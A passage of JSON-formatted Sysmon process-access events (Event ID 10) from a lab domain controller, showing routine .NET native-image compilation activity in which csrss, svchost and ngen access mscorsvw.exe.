:"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-0010DD750B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-0010DD750B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010E5CA0B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010E5CA0B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.166\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F4CE0B00}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.166","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F4CE0B00}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F4CE0B00}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F4CE0B00}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F4CE0B00}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F4CE0B00}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00106FD30B00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00106FD30B00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00106FD30B00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00106FD30B00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.339\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00106FD30B00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.339","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00106FD30B00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: 